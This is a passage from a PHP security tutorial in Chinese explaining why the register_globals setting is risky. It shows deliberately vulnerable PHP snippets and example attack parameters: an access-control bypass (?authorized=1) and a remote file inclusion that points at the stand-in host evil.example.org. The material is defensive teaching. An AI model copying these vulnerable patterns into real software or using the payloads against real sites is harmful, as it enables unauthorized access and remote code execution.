register_globals參數在PHP 的4.2.0 以上版本中預設為屏蔽。雖然這並不認為是安全漏洞,但是的確是一個安全風險。因此,應該始終在開發過程中屏蔽register_globals。
為什麼這是一個安全風險?每一種情形都需要的單獨說明才能描述清楚,對於所有情形只給一個恰當的例子是非常困難的。不管怎樣,最常見的例子是在PHP手冊中描述的:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}? >當參數register_globals開啟的時候,這個頁面可以使用?authorized=1的參數訪問,從而繞過訪問控制。當然,這個明顯的漏洞是糟糕的開發造成的,而不是register_globals的原因,但這明顯增加了產生危險漏洞的可能性。消除了這個影響,普通的全域變數(例如本例中的$authorized)將不再受到客戶端提交的資料的影響。最好的方式是初始化全部變數並且將參數error_reporting設為E_ALL,這樣使用未初始化的變數就不會在開發的時候被忽略。
另一個關於register_globals的例子是在使用include包含動態路徑的時候可能產生問題:
<?phpinclude "$path/script.php";?>當參數register_globals開啟的時候,這個頁面可以使用?path=http%3A %2F%2Fevil.example.org%2F%3F的參數訪問,使得本例中的程式碼和下面的程式碼等同:
<?phpinclude 'http://evil.example.org/?/script.php';? >如果參數allow_url_fopen開啟的時候(即使是在php.ini-recommended中,預設也是開啟的),這將如同包含本機檔案一般包含http://evil.example.org/這樣的遠端檔案。這是一個常見的安全漏洞,甚至在一些非常著名的開源專案中都發現。
初始化$path可以避免這個隱患,而且不用屏蔽參數register_globals。然而開發人員的失誤可能會產生沒有初始化的變量,修改全域配置以屏蔽參數register_globals可以盡可能的避免這種隱患被忽略。
便利性總是另人愉快的,過去我們必須手動區分哪些是表單數據,哪些是普通變數。而使用$_POST和$_GET內建全域數組也是非常方便的,承擔因為開啟參數register_globals造成的風險很不值得。雖然我完全不同意將開啟參數register_globals等同於薄弱的安全,但我還是強烈建議將其設為關閉。
需要補充說明的是,屏蔽參數register_globals會幫助開發人員更留意資料的來源,而這正是一個有安全意識的開發人員所應該具備的品質。